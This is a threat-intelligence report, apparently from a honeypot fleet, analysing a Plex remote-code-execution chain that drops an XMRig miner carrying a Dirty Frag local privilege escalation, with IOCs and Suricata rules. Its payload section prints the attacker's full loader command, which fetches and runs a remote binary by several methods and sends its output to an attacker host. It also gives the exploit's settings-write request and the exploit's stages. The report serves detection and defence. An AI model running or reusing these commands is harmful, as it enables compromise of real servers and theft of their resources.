plex2shell to Dirty Frag: Plex RCE delivering a secret-stealing XMRig dropper

Executive summary

A Plex server that falls to plex2shell does not get a webshell or a reverse shell from this operator. It gets a video. The final stage of the chain is a 640×360 lossless H.264 file whose first frame carries a 13 KB Linux shared object in its luma plane. Plex's own transcoder loads that object and runs it. When we ran the dropper it fetches in our sandbox, it was pulling a miner nine seconds into the capture and had reported back to its operator, installed as root, seventeen seconds in.

Everything in this report was derived from our own capture, decode, sandbox detonation and static analysis. A third-party behavioral sandbox report is linked as a cross-check. Two things in the chain are commodity: the miner is the public static XMRig build, and the loader is a light edit of the published PoC. The combination is not. A media-server RCE delivers a dropper that pairs mining with credential theft, and carries a kernel LPE for hosts where the Plex process does not already run as root.

Several other source IPs have driven plex2shell callbacks against our sensors since 2026-10-18. This report covers the one operator whose payload we recovered and analyzed in full. The one other operator it discusses appears only because this operator's latest payload goes out of its way to remove it (see A rival on the same servers).

Threat actor profile

Infrastructure

The operator runs both carrier delivery and the reverse-output listener on the scanning host itself. The carrier server moves to a new high port for each target. Everything after the loader goes to the staging host, which also serves as the pool endpoint, so its address is the most useful single network indicator in this report. Other addresses in 196.251.121.0/24 served unrelated Mirai builds to our sensors between June and September 2026. We note the neighbourhood, but do not treat it as attribution.

Payload analysis

Stage 1: the carrier and the loader

Each carrier is a short 640×360 lossless H.264 MP4 (13,013 to 13,553 bytes). We decoded them offline, in an isolated environment. The decode recovered an ELF64 shared object from frame 0, padded with 0x80, exactly as the public PoC builds it. All five loaders are 13,920 bytes. The two we analyzed function by function each contain a single function, go at 0x101000 (371 bytes), registered in .init_array so it runs on load, with identical branch structure. Only the embedded command differs.

The embedded command first kills processes named systemd and postgresql. From the second chain on, it only does this when it is not running as root. The command changed twice during the evening; the third version, used from chain 4, also removes a rival implant at /var/tmp/.spid. It then wipes /tmp and /var/tmp and fetches the dropper with up to six methods in turn: curl, wget, python3, php, perl and bash /dev/tcp. Finally it runs the dropper as /tmp/.skibidi lol, with all output redirected to a TCP connection back to the scanner.

A rival on the same servers

The third command version, first seen in chain 4, adds two lines: rm /var/tmp/.spid -rf; pkill -9 -f "/var/tmp/.spid". In our corpus, .spid is the implant name used by a different operator's installer, a 4,399-byte shell script fetched from hand.genddos.st:48180/bug (57a4fd74…). That script picks the first writable directory among $HOME, $TMPDIR, /data/local/tmp, /var/tmp and /tmp, and downloads spider.<arch> from 94.154.43.68:48180 to .spid there. It treats any process running as .spid or /usr/bin/kworker as its own, and removes an older kworker install. The script carries the build string 20261023a.

The rivalry runs both ways. Before installing anything, the Genddos script deletes every zz*.so it finds in Plex Codecs directories: the native and container paths, and, if neither exists, any Codecs directory up to six levels below common NAS and server roots such as /volume1 and /share. Those files are where plex2shell plants its loader. The source IP behind that installer chain, 94.154.43.7, has also sent more plex2shell exploit requests than any other source in our data since 2026-10-18: 247 timeline-subscribe requests across 25 sensors. We have not recovered a Genddos plex2shell carrier, so we cannot say which exploit it used on any given host. What both payloads show is two operators competing for the same population of unpatched Plex servers, each removing the other's foothold.

Stage 2: the /tmp/.skibidi dropper

The dropper (f3d4fe0f…, 103,772 bytes) is UPX-packed. We statically analyzed its unpacked payload (76f30a23…, 497 functions, all decompiled) and detonated the packed file in our own sandbox for 300 seconds. Function addresses below refer to the unpacked payload. Decompiler output is Ghidra's reconstruction, not source.

The embedded Dirty Frag exploit

FUN_00413ec0 is a complete, verbose exploit for the rxrpc half of Dirty Frag, the page-cache write disclosed in May 2026 (CVE-2026-43500; the NVD entry links the researcher's write-up). Its stages, as logged by its own status strings:

1. If the environment variable POC_UNSHARE=1 is set, it creates a new user and network namespace and brings up loopback.
2. It autoloads the rxrpc module through a dummy socket(AF_RXRPC).
3. It opens /etc/passwd read-only (overridable with POC_TARGET_FILE), maps its page cache PROT_READ|MAP_SHARED, and self-tests fcrypt.
4. It brute-forces three session keys so that rxkad's in-place pcbc(fcrypt) decryption will write chosen bytes.
5. It fires three triggers (FUN_00412530: an rxrpc key named evil%d, a fake UDP server on 127.0.0.1, an AF_RXRPC client) that rewrite root's line to root::0:0:GGGGGG:/root:/bin/bash, which is an empty password.
6. It verifies the result with getent passwd root.

On disk, /etc/passwd is unchanged; only the page cache is modified. File-integrity monitoring that hashes the file will not see it, but anything that reads the file through the cache, including su and login, will. This exploit is not new to our corpus. The same code, with the same status strings, appeared in seven Mirai-family ARM builds our sensors collected from two unrelated hosts between 2026-09-05 and 2026-10-10. This is the first time we have seen it shipped in an x86_64 miner, and the first time behind a media-server RCE.

Observed TTPs (MITRE ATT&CK)

Timeline

Exploit payloads

The setting write that plants the loader (sensor 1, URL-decoded):

PUT /:/prefs?TranscoderH264Options=dump-yuv=/var/lib/plexmediaserver/Library/Application Support/Plex Media Server/Codecs/593f60f-3bc1956d61390d2a148a8c76-linux-x86_64/zz74014.so:qp=0

The command embedded in loader 49ca9da3… (defanged, line breaks added):

{ pkill -9 -f "systemd" 2>/dev/null;pkill -9 -f "postgresql" 2>/dev/null;
rm -rf /tmp/* /tmp/.[!.]* /var/tmp/* /var/tmp/.[!.]* 2>/dev/null;
U="hxxp://196.251.121[.]181:8081/elf.x86_64";E=/tmp/.skibidi;
h(){ command -v "$1">/dev/null 2>&1;};
{ h curl&&curl -fsSL "$U" -o "$E";}||{ h wget&&wget -q "$U" -O "$E";}||
{ h python3&&python3 -c "…urlopen('$U')…";}||{ h php&&php -r '…' "$U" "$E";}||
{ h perl&&perl -MIO::Socket::INET -e '…' 196.251.121[.]181 8081 /elf.x86_64 "$E";}||
{ h bash&&bash -c 'exec 3<>/dev/tcp/196.251.121[.]181/8081;…' "$E";};
chmod 777 "$E" 2>/dev/null;("$E" lol 2>/dev/null & ); } > /dev/tcp/176.65.148[.]184/33403 2>&1

Both beacons from our detonation, after base64 decode and XOR with k1n5m0r3:

[{"t":"status","s":"XR_MINER_DL_OK","r":"worker-01","a":"64","u":"root","d":"WGET"}]
[{"t":"status","s":"XR_INSTALLED_ROOT","r":"worker-01","a":"64","u":"root","d":"WGET"}]

Decoding a captured POST /r body:

import base64
key = b"k1n5m0r3"
raw = base64.b64decode(body)
print(bytes(c ^ key[i % 8] for i, c in enumerate(raw)))

Indicators of compromise

Network

Files

Host artifacts

Rival operator (Genddos installer)

Infrastructure the malware blocks (not attacker IOCs)

These are rival operators' hosts that the dropper sinkholes or blackholes on infected machines. Seeing them in /etc/hosts or the routing table indicates infection by this dropper. Do not block them as this operator's infrastructure.

/etc/hosts → 127.0.0.1: apt-update.com  auto.c3pool.org  fix.unknower.win  joker.aec944b68370194a50.link
ip route add blackhole: 45.77.67.39  45.94.31.89  47.86.46.179  66.23.199.44  84.21.173.223
  95.85.237.149  95.85.237.226  111.90.139.202  111.90.158.58  139.59.59.33  142.132.131.238
  154.89.152.115  167.179.119.120  193.41.68.194

Mitigations and detection

Suricata

alert http any any -> $HOME_NET 32400 (msg:"COWRAI plex2shell TranscoderH264Options dump-yuv write"; flow:to_server,established; http.uri; content:"TranscoderH264Options="; nocase; content:"dump-yuv"; nocase; distance:0; classtype:attempted-admin; sid:9003060001; rev:1;)
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"COWRAI skibidi dropper XMRig second-stage request"; flow:to_server,established; http.uri; content:"/dl?%7B%22f%22:%22xr%22"; startswith; classtype:trojan-activity; sid:9003060002; rev:1;)
alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"COWRAI skibidi dropper download self-test response"; flow:to_client,established; http.response_body; content:"DL_T3ST_0K"; bsize:10; classtype:trojan-activity; sid:9003060003; rev:1;)
alert http $HOME_NET any -> $EXTERNAL_NET 8081 (msg:"COWRAI skibidi dropper status beacon POST /r"; flow:to_server,established; http.method; content:"POST"; http.uri; content:"/r"; bsize:2; http.content_type; content:"application/octet-stream"; classtype:trojan-activity; sid:9003060004; rev:1;)
alert tcp $HOME_NET any -> 196.251.121.181 3333 (msg:"COWRAI skibidi dropper stratum to operator pool proxy"; flow:to_server,established; content:"\"method\""; content:"login"; distance:0; classtype:policy-violation; sid:9003060005; rev:1;)

Collection methodology

All data in this report was collected organically by a distributed honeypot fleet deployed across multiple cloud providers and geographic regions. Some nodes run a Plex Media Server lure that plays the plex2shell chain just far enough to receive the attacker's carrier video. It contacts no address other than the one that sent the request, and it never decodes or executes anything. Carriers were decoded offline in an isolated environment. The dropper was detonated in an isolated, egress-controlled sandbox, recording a packet capture and system-call trace, and was statically analyzed from its UPX-unpacked payload. Every behavior in the "Observed in our detonation" column comes from that capture and trace. Every function-level claim cites an address in the unpacked payload.

IP registration data comes from live RDAP and WHOIS lookups. Reputation figures come from live VirusTotal lookups. Infrastructure classification comes from a commercial IP-intelligence API. All lookups were made on the publication date. Event counts and timestamps were queried from the fleet's event store at write time. Chain times are the times our collector received each event, which trail the event itself by a few seconds. We use them instead of the sensors' own clocks because some sensor clocks had drifted by several minutes when these chains arrived.